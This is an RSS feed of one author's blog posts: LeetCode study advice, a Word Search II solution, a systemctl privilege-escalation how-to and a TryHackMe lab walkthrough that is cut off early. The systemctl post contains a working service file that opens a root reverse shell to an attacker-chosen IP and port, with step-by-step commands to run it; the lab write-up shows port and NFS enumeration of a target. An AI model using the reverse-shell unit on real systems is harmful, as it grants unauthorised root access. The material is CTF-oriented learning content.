<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tanishq Chaudhary on Medium]]></title>
        <description><![CDATA[Stories by Tanishq Chaudhary on Medium]]></description>
        <link>https://medium.com/@chaudharycodes?source=rss-f9ebac30cbd7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Tanishq Chaudhary on Medium</title>
            <link>https://medium.com/@chaudharycodes?source=rss-f9ebac30cbd7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 09:27:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@chaudharycodes/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Do Just 75 LeetCode problems. — Tanishq Chaudhary]]></title>
            <link>https://chaudharycodes.medium.com/do-just-75-leetcode-problems-tanishq-chaudhary-e06d6a1f2dde?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/e06d6a1f2dde</guid>
            <category><![CDATA[leetcode]]></category>
            <category><![CDATA[coding-interviews]]></category>
            <category><![CDATA[blind75]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Mon, 24 Oct 2022 07:30:38 GMT</pubDate>
            <atom:updated>2022-10-25T17:14:03.937Z</atom:updated>
            <content:encoded><![CDATA[<h3>Do Just 75 LeetCode problems. — Tanishq Chaudhary</h3><h4>Is Blind 75 good to do for LeetCode beginners? And what they won’t tell you about Blind 75.</h4><p>So, you want to grind LeetCode, get that dream job in MAANG.</p><p>But, there are more than two thousand problems.</p><p>You don’t have the time to go through each and every single one.</p><p>Is there an optimal way to cover all the important data structures and algorithms?</p><p>Is there a good answer to which LeetCode problems one should do?</p><h3>1. Why Blind 75 is the best list of LeetCode problems.</h3><p>The solution to all your problems:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GClAKvnfjZ9JlRyp.png" /></figure><p>Blind 75 is a curated list of 75 problems created by a staff engineer at Meta.</p><p>It has been distilled from 500 questions, down to just 75.</p><p>It covers all the important topics to prepare you for coding interviews @MAANG and other Tier-1 companies.</p><p>It should take a total of 64 hours of consistent effort (8 hours for 8 weeks) to complete it.</p><p>Now, that might sound like a lot, but remember!</p><p>By doing this list, you will be at a pretty good level of preparation.</p><p>You have covered all the frequently asked data structures and algorithms, in the least number of problems possible.</p><p>So, what’s the catch?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*ZPb7-pKc-TBrI2h6.png" /></figure><h3>2. Where Blind 75 won’t help you.</h3><p>Isn’t this too good to be true?</p><p>Let’s break it down.</p><p><em>This is what they won’t tell you about Blind 75.</em></p><h3>2.1. It is 8 weeks of consistent effort</h3><p>The problems are supposed to take not more than 15 minutes for easy and 30–40 minutes for the hard ones.</p><p>But, this assumes that you <strong><em>know</em></strong> the relevant data structures and algorithms.</p><p>It will take 15 minutes to 30 minutes to understand the problem and <strong><em>apply</em></strong> the DSA.</p><p>Debugging and all, the good stuff.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/0*TWTOSO9_pSKHhl0N.png" /></figure><p>But, if you are a beginner at LeetCode, be prepared to spend <strong><em>hours</em></strong> on a single problem trying to understand it.</p><p>I am not trying to scare you.</p><p>It is important to understand what is going on, at the fundamental level.</p><p>So, take your time.</p><p>It will be 64 hours for you if you have some prior knowledge, experience in DSA or math.</p><p>Definitely <em>not</em> 64 hours for a complete beginner.</p><h3>2.2. It is not enough</h3><p>With the big claim of <em>just</em> 75 questions, you should be asking …</p><p>“Really? Is it this easy for beginners too?”</p><p>And the truth it, it depends.</p><p>Again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/0*fDS5X7cNPz3MlGeH.png" /></figure><p>Do you have a math undergrad degree?</p><p>Have you done some competetive programming before?</p><p>Do you know these data structures and algorithms beforehand?</p><p>If your answer “yes” to any of these questions, you are sorted!</p><p>Otherwise … your journey has not ended.</p><p>To build your intuitions, to be able to solve unseen LeetCode mediums and hards, require a lot of grinding.</p><p>A LOT of grinding.</p><h3>2.3. My personal experience</h3><p>I myself spent a year — not 8 weeks (2 months), but an entire year, slowly working my way up the difficulty ladder.</p><p>I had solved over 420 problems along the way, before I got an internship.</p><p>You can check out my <a href="https://www.youtube.com/@chaudharycodes">YouTube journey on my channel</a>, or get a summary in <a href="https://www.linkedin.com/feed/update/urn:li:activity:6919567691666112512/">this</a> and <a href="https://www.linkedin.com/feed/update/urn:li:activity:6955821460141608961/">this</a> LinkedIn post.</p><p>My journey of solving 350+ LeetCode questions</p><p>Take you time.</p><p>Solve as many problems as you need, to become comfortable.</p><h3>3. Final Verdict</h3><p>So, is it really worth doing the list?</p><h3>3.1. For LeetCode Beginners</h3><p>Yes.</p><p>If you are a complete beginner, this list of problems will give you a taste of what to expect.</p><p>The disappointments,</p><p>the random search through YouTube videos trying to understand an algorithm,</p><p>trying to figure out ways to optimize the solution (when there looks to be none),</p><p>and hours and hours of debugging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*y8WY2KRKwBNiJ4-J.png" /></figure><p>But, at the end, you should have solved more than 75 problems; in trying to do these 75.</p><p>You should have spent more than 64 hours; in trying to complete this as optimally as possible.</p><h3>3.2. For LeetCode Experienced</h3><p>Yes.</p><p>If you are somewhat experienced, I would recommend doing this list as a revision.</p><p>It will test your speed of solving,</p><p>the ability to understand and implement the questions,</p><p>the ability to modify the DSA to suit the problem needs,</p><p>and coding up the optimal solution within time.</p><h3>4. Bonus</h3><p>So, me and my friends tried speedrunning the entire list in 10 hours.</p><p>Here is the result:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FOIZEnfKYkfw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DOIZEnfKYkfw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FOIZEnfKYkfw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/80372ea082d7814499e9e846ef6e63bc/href">https://medium.com/media/80372ea082d7814499e9e846ef6e63bc/href</a></iframe><p><em>Originally published at </em><a href="https://tanishqchaudhary.com/do-just-75-leetcode-problems/"><em>https://tanishqchaudhary.com</em></a><em> on October 24, 2022.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e06d6a1f2dde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[5 Mistakes You Will Make as a LeetCode Beginner & How to Fix Them]]></title>
            <link>https://chaudharycodes.medium.com/5-mistakes-you-will-make-as-a-leetcode-beginner-how-to-fix-them-e28b9ec6c947?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/e28b9ec6c947</guid>
            <category><![CDATA[leetcode]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Sun, 10 Apr 2022 06:39:30 GMT</pubDate>
            <atom:updated>2022-04-10T06:58:26.879Z</atom:updated>
            <content:encoded><![CDATA[<h4>Using LeetCode Effectively</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FIKEVah7d_uw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DIKEVah7d_uw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FIKEVah7d_uw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/45b9ca854e311ab4f05273ba83501a83/href">https://medium.com/media/45b9ca854e311ab4f05273ba83501a83/href</a></iframe><p>From 20 July 2021 to 2 April. In the last 8 months, I have solved over 350 interview problems from LeetCode. Here are the <strong>5</strong> mistakes I have made so that you don’t have to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAdmAJn8T0sXBIqhVha6DA.png" /><figcaption>I solved over 350 problems on LeetCode</figcaption></figure><h3>0. Problem Reading</h3><p>I don’t know why, but I used to make a lot of mistakes reading the problem statement early on.</p><p>It is like you gave a question, and as I quickly read over it, I realize that I have seen this problem before. So now I am excited. I start solving the question, and it feels a little hard, but I fix all issues that come up one by one. I code it up and hit “Run Code”. Only to get a WA on the first — the first test case. Then I’d go over the problem statement again and facepalm. I missed a small yet important detail in the problem statement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A5SMiQ1yuoudhCs9bBz3jA.png" /><figcaption>Wrong answer on “decode string” question — not realizing that the string can be encoded recursively!</figcaption></figure><p>As I have solved more and more questions, however, I have become better at reading the problem statement and extracting all the relevant information before starting with a solution.</p><p>One bonus tip: All of the problems require you to use their information fully. So a problem can mention multiple conditions and constraints. And if you are not using all the pieces of information of the question, you probably have an inefficient solution. <em>Make use of *all* of the information in a question to find an optimal solution.</em></p><h3>1. Memory</h3><p>I studied Data Structures and Algorithms in my first year. After one year of gap, when I started off doing my first couple of LC questions, I <em>struggled</em> implementing. I struggled with even implementing binary search — I knew the overview, the basic logic, but I couldn’t implement it for the life of me.</p><p>I stressed out about not knowing the implementation for even the basic things, even though I understood their logic.</p><p>This is why LC daily worked for me. See, they give you one interview problem to solve each day. And over a period of time, it adds up. You see a lot of questions and a lot of repeated concepts. One interesting consequence that I have observed is — that I don’t even have to think about implementation anymore. It is not a problem for me.</p><p>Take, for example, binary search again. In solving 350+ questions, I have come across binary search so so many times that I have the template code in my mind, ready to go. I don’t even have to think about the loop structure, the conditions, or if I should do mid + 1 or mid. I <em>know</em> what to do. And I can do it with my eyes closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*408pjOcJEdVDZThXbx61vA.png" /><figcaption>Left binary search — bisect_left in python3.</figcaption></figure><p>I follow the <a href="https://github.com/python/cpython/blob/3.10/Lib/bisect.py">official Python3 implementation</a>, which is also the same way its <a href="https://github.com/gcc-mirror/gcc/blob/d9375e490072d1aae73a93949aa158fcd2a27018/libstdc%2B%2B-v3/include/bits/stl_algobase.h#L1023">implemented in C++</a>.</p><h3>2. General Strategy</h3><p>When I started off, I did not know how to approach the problem. It was a bit of a mess. But over a period of time, I found a strategy. Whenever the question is a bit beyond my reach, I like to do the following:</p><h4>Step 0: Start with a brute force solution.</h4><p>This is hitting two birds with one stone. Writing a brute-force solution forces you to think about the important parts of the problem, and how the conditions come together to give the expected result. Then, by formalizing the steps the problem mentions, you can have a brute-force solution in hand.</p><h4>Step 1: Optimizing</h4><p>More often than not, a brute-force solution is not enough. Now how do we optimize it? I’ll start writing down test cases — small test cases and try to find if there is some hidden pattern or observation there. Maybe looking in the reversed direction or reframing the problem also helps.</p><h4>Step 2: Coding the solution</h4><p>Code! Once you find the solution, it is equally important to be able to code it up. If you have seen the DS/A before it helps a lot.</p><h3>3. Coding/Debugging</h3><p>After getting a solution accepted, it feels like you’re done for the day, so you don’t bother anymore.</p><p>When it comes to coding and debugging skills, one mistake I made was not looking at other people’s solutions.</p><p>In LeetCode, there is a discussion tab where people can post logic, explanations, and code. I have personally learned a lot from reading other people’s solutions. I have learned a lot by looking at other people’s solutions, reading through them, and understanding their thought processes, especially about the language itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*zNAGRRHSTR4YvM00dhT8YQ.png" /><figcaption>Some problems do not have an official solution on LeetCode. Use the discussion tab or YouTube!</figcaption></figure><p>I don’t have any formal training in Python, but I know special functions used, hacks, the nitty-gritties of the language, and the “Pythonic” way of thinking. Go through my other stuff, on this website 😀</p><p>Along with coding, debugging skills come automatically. As I have solved more and more questions, I can more easily spot and solve the bugs. It’s like I know the general places a bug might come up — a variable name messed up or an indexing issue or whatever, giving the same runtime error or time limit error — and I can fix those issues faster.</p><h3>4. Thinking in terms of code</h3><p>This is perhaps the biggest hurdle that I faced as a beginner.</p><p>It’s sort of like, you look at a question, and it’s hard. You read the problem, and it feels like a proper hard problem. I have noticed that if I am just skimming over the problem, I feel I can’t do it. It’s a bit above me.</p><p>At that point, it’s easy to skip the question. But that’s a mistake.</p><p>See I have noticed — even if the solution does not strike me at first, as I start working on it, I think my brain shifts gears. I get in the zone. And it is amazing.</p><p>I have solved enough problems to read a question and then say, hmm, maybe this is the direction I need to think in. So maybe I’ll look at a graph question and I’ll immediately know, that maybe I need to try out DSU here.</p><p>I think it’s because I have built up my intuitions. I can think in terms of Data Structures and Algorithms.</p><p>And the thing is, even if that particular chain of reasoning does not work, I think about it a bit more, and I’ll naturally have more and more ideas that come. Ideas start to flow.</p><h3>#. Final Thoughts</h3><p>If you look closely, all of the mistakes one can make in solving LeetCode can be fixed by solving more and more questions. Whether it’s a day-by-day grind or a month-long speed run. Practice. Practice and Practice.</p><p><em>Originally published at </em><a href="https://chaudhary1337.com/5-mistakes-you-will-make-as-a-leetcode-beginner-how-to-fix-them-using-leetcode-effectively/"><em>https://chaudhary1337.com</em></a><em> on April 10, 2022.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e28b9ec6c947" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Word Search II | LeetCode | Solution Explained]]></title>
            <link>https://chaudharycodes.medium.com/word-search-ii-leetcode-solution-explained-72d151be7645?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/72d151be7645</guid>
            <category><![CDATA[solutions]]></category>
            <category><![CDATA[word-search-ii]]></category>
            <category><![CDATA[leetcode-hard]]></category>
            <category><![CDATA[leetcode-solution]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Sat, 09 Oct 2021 06:34:34 GMT</pubDate>
            <atom:updated>2021-10-10T00:24:24.293Z</atom:updated>
            <content:encoded><![CDATA[<h4>Learn how to implement Trie &amp; Solve a hard LeetCode problem</h4><p>Word Search II is an amazing problem, building on top of two other problems: Word Search I &amp; Implement Prefix Tree. In this writeup, I explain the solution in detail with Python3 code. The first thing we discuss is the brute force solution and then we realize the use of prefix trees or tries. Only by combining both the ideas we are able to get the solution the sweet-sweet-green accepted. <a href="https://leetcode.com/problems/word-search-ii/">Problem Link.</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FcDnf9tboh_s%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DcDnf9tboh_s&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FcDnf9tboh_s%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/df2fc0dccdfa16df8ceeeefc4f8646f8/href">https://medium.com/media/df2fc0dccdfa16df8ceeeefc4f8646f8/href</a></iframe><h3>Brute force Solution (Time Limit Error)</h3><p>This code is modified from my previous post: <a href="https://chaudhary1337.com/word-search-leetcode-solution-explained/">Word Search | LeetCode | Solution Explained</a>. In that solution I also mentioned the time &amp; space complexities as:</p><ul><li>Time: O(M*N*3^L) where M and N are the dimensions of the board and L is the length of the input word</li><li>Space: O(L) for the recursion call stack height</li></ul><h3>Modifying Word Search I Solution</h3><p>For the question Word Search II, we have to iterate over all the words as well, meaning the time complexity is actually O(M*N*3^L * W) where W is the number of words - we have this W factor additional. The space complexity is the same. Note that the ans list that we store looks like O(W) complexity, but its a requirement and not additional space. So space complexity remains the same - the height of the stack.</p><pre>class Solution:<br>    def findWords(self, board: List[List[str]], words: List[str]) -&gt; List[str]:<br>        def search(x, y, i, w):<br>            if i == len(w): return True<br>            if not (0 &lt;= x &lt; m and 0 &lt;= y &lt; n): return False<br>            if board[x][y] != w[i]: return False<br>            if board[x][y] == &#39; &#39;: return False<br>            board[x][y] = &#39; &#39;<br>            <br>            temp = search(x+1, y, i+1, w) or search(x-1, y, i+1, w) or search(x, y+1, i+1, w) or search(x, y-1, i+1, w)<br>            board[x][y] = w[i]<br>            return temp<br>        <br>        m, n = len(board), len(board[0])<br>        ans = []<br>        for x in range(m):<br>            for y in range(n):<br>                for w in words:<br>                    if board[x][y] == w[0]:<br>                        if search(x, y, 0, w): <br>                            ans.append(w)<br>                words = [w for w in words if w not in ans]<br>        <br>        return ans</pre><h3>Solution Logic (Accepted)</h3><h4>Observations &amp; Trie</h4><p>The core of the solution is based upon the realization that the words themselves are … similar. Take a look at the following test case: [aaab, aaac, aaaxd]. What do you note here?</p><figure><img alt="the intuitions of using a prefix tree" src="https://cdn-images-1.medium.com/max/640/0*lHEdgq2Jk2XuU8Hy" /><figcaption>the intuitions of using a prefix tree</figcaption></figure><p>All of these share a common prefix. And what is a data structure that can deal with prefixes efficiently? Trie aka Prefix Tree! As we saw before, the trie looks something of the sort shown below, with different examples.</p><p>An example of trie data structure storing prefixes efficiently</p><p>If you are unclear, refer <a href="https://chaudhary1337.com/trie-prefix-tree-leetcode-solution-explained/">Implement Trie (Prefix Tree) | LeetCode | Solution Explained</a>. I have explained the Trie data structure in detail.</p><h4>Extending Word Search I to Word Search II</h4><p>We then apply the concepts seen from the problem <a href="https://chaudhary1337.com/word-search-leetcode-solution-explained/">Word Search | LeetCode | Solution Explained</a>. The parallels between them can be explained as such:</p><figure><img alt="parallels between word search problems" src="https://cdn-images-1.medium.com/max/1024/0*jKIbYhgS2qld-p7O.png" /><figcaption>parallels between word search problems</figcaption></figure><p>The search function for this problem will be modified a bit, since we also want to keep a track of the words themselves. This is why we see another variable path, which starts off as an empty string and we keep adding characters to keep, so that we know what the word is, when we are saving it. The following is the code for it.</p><h3>Word Search II Accepted Code</h3><p>The code for Node and Trie is taken from <a href="https://chaudhary1337.com/trie-prefix-tree-leetcode-solution-explained/">Implement Trie (Prefix Tree) | LeetCode | Solution Explained</a>.</p><pre>class Node:<br>    def __init__(self, c, end=False):<br>        self.c = c <br>        self.child = {}<br>        self.end = end<br>        <br>class Trie:<br>    def __init__(self):<br>        self.root = Node(&#39;#&#39;)</pre><pre>def insert(self, word: str) -&gt; None:<br>        curr = self.root<br>        for c in word:<br>            if c not in curr.child: <br>                curr.child[c] = Node(c)<br>            curr = curr.child[c]<br>        curr.end = True</pre><pre>class Solution:<br>    def findWords(self, board: List[List[str]], words: List[str]) -&gt; List[str]:<br>        def search(x, y, curr, path):<br>           # if not in the grid, we don&#39;t care<br>            if not (0 &lt;= x &lt; m and 0 &lt;= y &lt; n): return<br>            <br>            c = board[x][y]<br>            <br>            # if character is not in the data structure, we have no use for it<br>            # explained in detail below<br>            if c not in curr.child: return <br>            if curr.child[c].end: <br>                ans.add(path+c) # if that character marks the end<br>                # we don&#39;t return here, since there can be a case like:<br>                # app &amp; apple.<br>                # if you return at app, apple would never get considered<br>            <br>            board[x][y] = &#39; &#39;<br>            search(x+1, y, curr.child[c], path+c) # D<br>            search(x-1, y, curr.child[c], path+c) # U<br>            search(x, y+1, curr.child[c], path+c) # R <br>            search(x, y-1, curr.child[c], path+c) # L<br>            board[x][y] = c<br>        <br>        trie = Trie()<br>        for word in words: trie.insert(word)<br>        <br>        curr = trie.root<br>        m, n = len(board), len(board[0])<br>        ans = set() # because there may be duplicate cases, one word can be found multiple times in the grid<br>        for x in range(m):<br>            for y in range(n):<br>                search(x, y, curr, &quot;&quot;)       <br>        return list(ans)</pre><p>The line if c not in curr.child: return is a densely packed line. What it means is that we can not go out of the trie or prefix tree data structure. By restricting our character space, we are able to more efficiently traverse the grid. Take for example the case below. The curr is the # character. Its possible children are ONLY a and b. If the current c = board[x][y] is NOT in the valid_children list, then we can return right away.</p><figure><img alt="Representation of Word Search II Trie or Prefix Tree, in the first iteration" src="https://cdn-images-1.medium.com/proxy/0*wkWN2BewBt3wmi5c.png" /><figcaption>Representation of Word Search II Trie or Prefix Tree, in the first iteration</figcaption></figure><p>If however, c = board[x][y] is present inside the list, we can move forward like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q6DyWX3JF4aRabna.png" /><figcaption>Representation of Word Search II Trie or Prefix Tree, in the next iteration</figcaption></figure><p>And this is it! Thanks for reading 😀</p><p><em>Originally published at </em><a href="https://chaudhary1337.com/word-search-ii-leetcode-solution-explained/"><em>https://chaudhary1337.com</em></a><em> on October 9, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72d151be7645" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How-to: systemctl Priv-Esc Exploit]]></title>
            <link>https://chaudharycodes.medium.com/how-to-systemctl-misconfiguration-exploit-1f7ff6fafb8?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f7ff6fafb8</guid>
            <category><![CDATA[linux-systemctl]]></category>
            <category><![CDATA[systemctl]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Sat, 03 Jul 2021 00:00:00 GMT</pubDate>
            <atom:updated>2021-07-03T05:33:13.113Z</atom:updated>
            <content:encoded><![CDATA[<h4>Sudo or SUID Misconfigurations? Easy exploit, explained.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*x8x0kIrJqcIqyTYn.png" /></figure><p><a href="https://chaudhary1337.github.io/categories/how-to/">how-to</a></p><h3>1. Requirements</h3><p><strong>Case 0</strong> You have the permissions to run /bin/systemctl as sudo or the SUID bit is set. This case is the easiest to deal with.</p><p><strong>Case 1</strong> Permissions (at least):</p><ul><li>/bin/systemctl daemon-reload</li><li>/bin/systemctl restart *.service</li></ul><p><strong>Case 2</strong> Permissions (at least):</p><ul><li>/bin/systemctl daemon-reload</li><li>/bin/systemctl enable *.service -&gt; /bin/systemctl start *.service</li></ul><h3>2. Code</h3><h3>Case 0 and Case 1</h3><p>root.service</p><pre>[Unit]<br>Description=pwn</pre><pre>[Service]<br>Type=simple<br>User=root<br>ExecStart=/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/your_ip/your_port 0&gt;&amp;1&#39;</pre><h3>Case 0 and Case 2</h3><p>root.service</p><pre>[Unit]<br>Description=pwn</pre><pre>[Service]<br>Type=simple<br>User=root<br>ExecStart=/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/your_ip/your_port 0&gt;&amp;1&#39;</pre><pre>[Install]<br>WantedBy=multi-user.target</pre><h3>3. Exploiting</h3><h3>Case 0 and Case 1</h3><ol><li>Edit/transfer the file root.service</li><li>Run systemctl daemon-reload</li><li>Run systemctl restart root.service</li></ol><h3>Case 0 and Case 2</h3><ol><li>Edit/transfer the file root.service</li><li>Run systemctl daemon-reload</li><li>Run systemctl enable root.service</li><li>Run systemctl start root.service</li></ol><h3>4. Explaination</h3><p>The root.service file that we create here is a systemd.unit file, describing a service - that escalates us to root.</p><p>The Type=simple specifies that after the ExecStart=... process has been run, the unit is considered to be run successfully. The User=root specifies that we are running the above process as root. This is allowed since we are priviledged enough to run systemctl commands as root :D</p><p>NOTE: The WantedBy line is only required if you want to work with systemctl enable command. That is, tell the system to load up this specific service while booting. Confused?</p><p>Here’s the thing. When we boot up a system, all the services having a RequiredBy and WantedBy are started up. Services not having them are not started. Think about it. The services that have dependencies are resolved. Those <em>not</em> having this line are <em>not</em> started simply because they are not <strong>required</strong> or <strong>wanted</strong> by anyone else. But, we are not rebooting the system during a CTF challenge. We can start this service manually - by using the start command. Thus, there is <strong>no</strong> need of the WantedBy line!</p><p>Checkout the below error message if I do not include the [Install] instructions and use the enable command.</p><pre>┌──(kali㉿kali)-[/etc/systemd/system]<br>└─$ sudo systemctl enable root.service<br>The unit files have no installation config (WantedBy=, RequiredBy=, Also=,<br>Alias= settings in the [Install] section, and DefaultInstance= for template<br>units). This means they are not meant to be enabled using systemctl.<br> <br>...</pre><p>Thus, only if you want to use the enable command, include the [Install] instructions. Else, its okay to skip!</p><h3>5. References</h3><ul><li><a href="https://gtfobins.github.io/gtfobins/systemctl/">https://gtfobins.github.io/gtfobins/systemctl/</a></li><li><a href="https://man7.org/linux/man-pages/man5/systemd.service.5.html">https://man7.org/linux/man-pages/man5/systemd.service.5.html</a></li><li><a href="https://man7.org/linux/man-pages/man1/systemctl.1.html">https://man7.org/linux/man-pages/man1/systemctl.1.html</a></li><li><a href="https://unix.stackexchange.com/questions/506347/why-do-most-systemd-examples-contain-wantedby-multi-user-target">https://unix.stackexchange.com/questions/506347/why-do-most-systemd-examples-contain-wantedby-multi-user-target</a></li></ul><p><em>Originally published at </em><a href="https://chaudhary1337.github.io/p/how-to-systemctl-misconfiguration-exploit/"><em>https://chaudhary1337.github.io</em></a><em> on July 3, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f7ff6fafb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Cooctus Stories Writeup]]></title>
            <link>https://chaudharycodes.medium.com/tryhackme-cooctus-stories-writeup-a41433447cfa?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/a41433447cfa</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Fri, 25 Jun 2021 00:00:00 GMT</pubDate>
            <atom:updated>2021-06-25T15:34:08.009Z</atom:updated>
            <content:encoded><![CDATA[<h4>Learn about NFS, Python3 scripting, umount in This Medium THM Room.</h4><figure><img alt="coocuts clan, thm" src="https://cdn-images-1.medium.com/max/1024/0*zChAyetstWGbPx0O.png" /></figure><p><a href="https://tryhackme.com/room/cooctusadventures">Play</a></p><h3>1. Scanning &amp; Enumeration</h3><p>We do the below scans in parallel.</p><h3>1.1. Port Scanning</h3><pre>Not shown: 996 closed ports<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)<br>|   256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)<br>|_  256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)<br>111/tcp  open  rpcbind 2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          111/tcp6  rpcbind<br>|   100000  3,4          111/udp6  rpcbind<br>|   100003  3           2049/udp   nfs<br>|   100003  3           2049/udp6  nfs<br>|   100003  3,4         2049/tcp   nfs<br>|   100003  3,4         2049/tcp6  nfs<br>|   100005  1,2,3      34481/tcp6  mountd<br>|   100005  1,2,3      37413/udp6  mountd<br>|   100005  1,2,3      43347/udp   mountd<br>|   100005  1,2,3      56545/tcp   mountd<br>|   100021  1,3,4      34901/tcp6  nlockmgr<br>|   100021  1,3,4      46744/udp   nlockmgr<br>|   100021  1,3,4      46749/tcp   nlockmgr<br>|   100021  1,3,4      60804/udp6  nlockmgr<br>|   100227  3           2049/tcp   nfs_acl<br>|   100227  3           2049/tcp6  nfs_acl<br>|   100227  3           2049/udp   nfs_acl<br>|_  100227  3           2049/udp6  nfs_acl<br>2049/tcp open  nfs_acl 3 (RPC #100227)<br>8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)<br>| http-methods: <br>|_  Supported Methods: OPTIONS GET HEAD<br>|_http-server-header: Werkzeug/0.14.1 Python/3.6.9<br>|_http-title: CCHQ<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Info gathered:</p><ul><li>SSH on 22 open</li><li>HTTP on 8080 open</li><li>NFS on 2049 open</li></ul><h3>1.2. Web Enumeration</h3><p>Doing a basic enumeration, we get the pages: /cat and /login.</p><h3>1.3. Web Exploration</h3><p>The home page:</p><figure><img alt="cooctus clan homepage" src="https://cdn-images-1.medium.com/max/1024/0*h2b_pEknr6HkhtJL.jpg" /></figure><p>The login page:</p><figure><img alt="login page cooctus clan" src="https://cdn-images-1.medium.com/max/1024/0*2qxnGMXHgSmZOGGE.png" /></figure><p>I tried some basic SQLI attacks, but they did not work. Recall that we had the 2049 port open with NFS running. Let’s explore that first then.</p><h3>1.4. NFS</h3><p>Let’s see what all do we have:</p><pre>┌──(kali㉿kali)-[~]<br>└─$ showmount --exports 10.10.80.121<br>Export list for 10.10.80.121:<br>/var/nfs/general *</pre><p>Amazing! Looks like we can get something. Follow the steps to mount shares using NFS service:</p><ol><li>Go to /tmp on your machine. (Or wherever 